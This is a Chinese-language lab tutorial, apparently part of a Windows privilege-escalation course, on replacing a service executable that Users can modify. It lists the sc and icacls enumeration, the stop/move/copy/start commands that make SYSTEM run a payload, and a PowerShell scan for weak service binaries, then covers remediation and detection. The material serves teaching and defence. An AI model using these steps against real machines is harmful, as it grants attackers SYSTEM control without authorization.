
昨天你學會了:如果你能 sc config 修改 Service 的 binPath,你就能控制 SYSTEM 執行什麼。
但今天的情境不同。你嘗試 sc config——
[SC] OpenService 無法 5:
存取被拒。
IT 團隊修好了 Service ACL。你不能再修改 Service 設定了。
但等一下。Service 設定只是第一層保護。SCM 最終啟動的是 binPath 指向的那個 exe 檔案。那個檔案本身呢?
控制的是:誰能修改 Service 的設定(binPath、帳號、啟動方式等)
查詢方式:sc sdshow <service>
這就是 Day 16 (W01) 教的。

控制的是:誰能修改 Service 實際執行的 .exe 檔案
查詢方式:icacls <exe path>
這是今天 (W02) 要教的。
| 只修 Service ACL | 只修 Binary ACL | 兩層都修 |
|---|---|---|
| W01 blocked | W02 仍可能 | 安全 |
| 攻擊者不能 sc config | 攻擊者可以替換 exe | 兩條路都封死 |
1. SCM 讀取 Registry 中的 ImagePath
2. SCM 開啟該路徑的檔案
3. SCM 建立 Process(以 Service Account 身分)
4. SCM 等待 Process 回報 SERVICE_RUNNING
注意第 2 步:SCM 不會驗證 exe 的 hash、簽章或完整性。它只是啟動 Registry 裡記錄的路徑。
所以如果攻擊者能替換那個 exe,SCM 下次啟動時就會執行攻擊者的程式。
FEI Lab 環境
VM: FEI-PRIVESC-WINDOWS
OS: Windows 10 Pro (Build 19045)
起始帳號: fei-student (Standard User)
目標: SYSTEM
Scenario: FEI-W02-SERVICE-BINARY
Service: FEITrainingBinaryService (LocalSystem)
Flag: C:\FEI-PrivEsc\Flags\fei-w02-system-flag.txt
`powershell
cd C:\FEI-PrivEsc\Scenarios\FEI-W02-SERVICE-BINARY
.\fei-setup.ps1
.\fei-verify.ps1
`
csc.exe 編譯合法 Service exe + payload helperFEITrainingBinaryService(LocalSystem)sc config FEITrainingBinaryService binPath= "test"
[SC] OpenService 無法 5:
存取被拒。
W01 的路不通了。Service ACL 修好了。
sc qc FEITrainingBinaryService
找到 BINARY_PATH_NAME,然後:
icacls "C:\FEI-PrivEsc\Training\W02\FEITrainingBinaryService.exe"
C:\FEI-PrivEsc\Training\W02\FEITrainingBinaryService.exe
NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
BUILTIN\Users:(M)
Users:(M) — Modify 權限!fei-student 可以修改(替換)這個 exe。
type "C:\FEI-PrivEsc\Flags\fei-w02-system-flag.txt"
存取被拒。

sc stop FEITrainingBinaryService
move "C:\FEI-PrivEsc\Training\W02\FEITrainingBinaryService.exe" "C:\FEI-PrivEsc\Training\W02\FEITrainingBinaryService.exe.bak"
copy "C:\FEI-PrivEsc\Training\W02\tools\fei-payload-helper.exe" "C:\FEI-PrivEsc\Training\W02\FEITrainingBinaryService.exe"
sc start FEITrainingBinaryService
Service 啟動後,SYSTEM 執行了我們的 payload helper,它將 Flag 複製到了公開位置。
type C:\Users\Public\fei-w02-proof.txt
========================================
FEI PrivEsc Lab — SYSTEM Proof
========================================
Executed as: SYSTEM
Flag: FEI{WINDOWS_W02_SYSTEM_ACCESS}

W01 的信任鏈是:
SCM 信任 binPath 設定 → binPath 可被修改 → 攻擊者控制 SYSTEM 執行什麼
W02 的信任鏈不同:
SCM 信任 binPath 指向的檔案 → 檔案可被替換 → 攻擊者控制 SYSTEM 執行什麼
兩者的終點一樣(SYSTEM 執行攻擊者的程式),但攻擊面不同:
| W01 | W02 | |
|---|---|---|
| 弱點位置 | Service Object ACL | NTFS File ACL |
| 攻擊動作 | sc config binPath= |
copy payload.exe → service.exe |
| 檢查指令 | sc sdshow |
icacls |
不一定。需要同時滿足:
如果一個 exe 可寫,但它只是使用者自己手動執行的工具、沒有 Service 綁定,那就不是提權向量。
| 情況 | 是否危險? | 原因 |
|---|---|---|
| Users 可寫的 exe,Service 以 SYSTEM 執行 | 危險 | 標準 W02 |
| Users 可寫的 exe,Service 以 LocalService 執行 | 有限 | LocalService 權限有限 |
| Users 可寫的 exe,但沒有對應 Service | 不是自動執行 | |
| Users 可寫的 exe,Service 在,但 student 不能 start/stop | 需等 reboot 或 failure recovery |
如果 Service 正在執行,exe 通常被鎖定。你需要先 sc stop,才能替換。
如果你沒有 SERVICE_STOP 權限呢?你需要等到:
如果你不能替換 exe,但可以在 exe 同目錄放一個 DLL 呢?那就是 Day 24 (W09) 的主題。
| 問題 | 原因 | 解決 |
|---|---|---|
move 失敗 |
exe 正在使用中 | 先 sc stop |
copy 成功但 Service 啟動失敗 |
payload 不是有效 Service exe | 用 Lab 提供的 payload helper |
| Flag 沒出現 | payload 寫入位置的 ACL 不允許 | 改用 C:\Users\Public\ |
| Service 啟動後立即停止 | payload 執行完就結束 | 這是預期的,proof 已經寫了 |
Service exe 的 NTFS ACL 授予了 Users Modify 權限。
icacls "C:\path\to\service.exe" /remove Users
icacls "C:\path\to\service.exe" /grant:r "SYSTEM:(F)" "Administrators:(F)"
| 措施 | 說明 |
|---|---|
| 安裝路徑 | Service exe 應在 Program Files(預設 ACL 安全) |
| ACL 審計 | 定期掃描 Service binary 的 NTFS ACL |
| Code Signing | 配合 AppLocker/WDAC 只允許簽章的 binary |
| Event Log | 監控 Service binary 被修改(File Audit) |
| 偵測點 | 方法 |
|---|---|
| Service binary 被修改 | File Integrity Monitoring (FIM) |
| 非預期的 Service 重啟 | Event ID 7036 |
| Service binary hash 變更 | 定期比對 baseline hash |
| Process Creation | Event ID 4688,看新 Service process 的 hash |
修復後驗證:
icacls "C:\path\to\service.exe"
確認 Users 只有 (RX) 或完全不在列表中。
然後嘗試:
copy /Y "C:\temp\test.exe" "C:\path\to\service.exe"
應回傳「存取被拒」。
你發現一個 Service MySvc:
sc sdshow 顯示 BU 沒有 DC(Service ACL 安全)icacls MySvc.exe 顯示 Users:(RX)(Binary ACL 也安全)但 icacls C:\path\to\MySvc\ 顯示目錄 Users:(F)。這有風險嗎?
解答如果目錄有 FullControl,Users 可以刪除 exe 再建立同名檔案(即使 exe 本身不可寫)。有些 Windows 版本的 NTFS 行為允許這個操作。所以是的,目錄 ACL 也需要安全。
解答
Get-WmiObject win32_service | Where-Object { $_.StartName -eq "LocalSystem" } | ForEach-Object {
$path = $_.PathName -replace '"',''
Write-Output "$($_.Name): $path"
icacls $path 2>$null | Select-String "Users|Everyone"
}
Q1: W01 和 W02 的核心差異是什麼?
A. W01 以 SYSTEM 執行,W02 以 Administrator 執行
B. W01 修改 Service 設定,W02 修改 Service binary
C. W01 需要 Administrators 權限,W02 不需要
D. W01 比 W02 更危險
答案B。W01 的弱點在 Service Object ACL(sc config),W02 的弱點在 NTFS File ACL(替換 exe)。
Q2: 為什麼替換 exe 前需要先 sc stop?
A. 因為需要 admin 權限
B. 因為 Windows 不允許替換執行中的檔案
C. 因為 sc start 需要先 stop
D. 因為 ACL 在 Service 運行時會改變
答案B。Windows 會鎖定正在執行的檔案(File Lock),你需要先停止 Service 讓 exe 被釋放,才能替換。
做完後記得 reset:
`powershell
cd C:\FEI-PrivEsc\Scenarios\FEI-W02-SERVICE-BINARY
.\fei-reset.ps1
.\fei-verify.ps1 -Mode reset
`
sc sdshow 和 icacls。只看一個會遺漏另一個。如果 Service ACL 安全(W01 blocked),Binary ACL 也安全(W02 blocked),但 Service 的 ImagePath 含有空格且沒有引號呢?
Windows 的路徑解析會不會「看到」一個你可以控制的位置?
Day 18:Unquoted Service Path — Windows 到底會先執行哪個 EXE?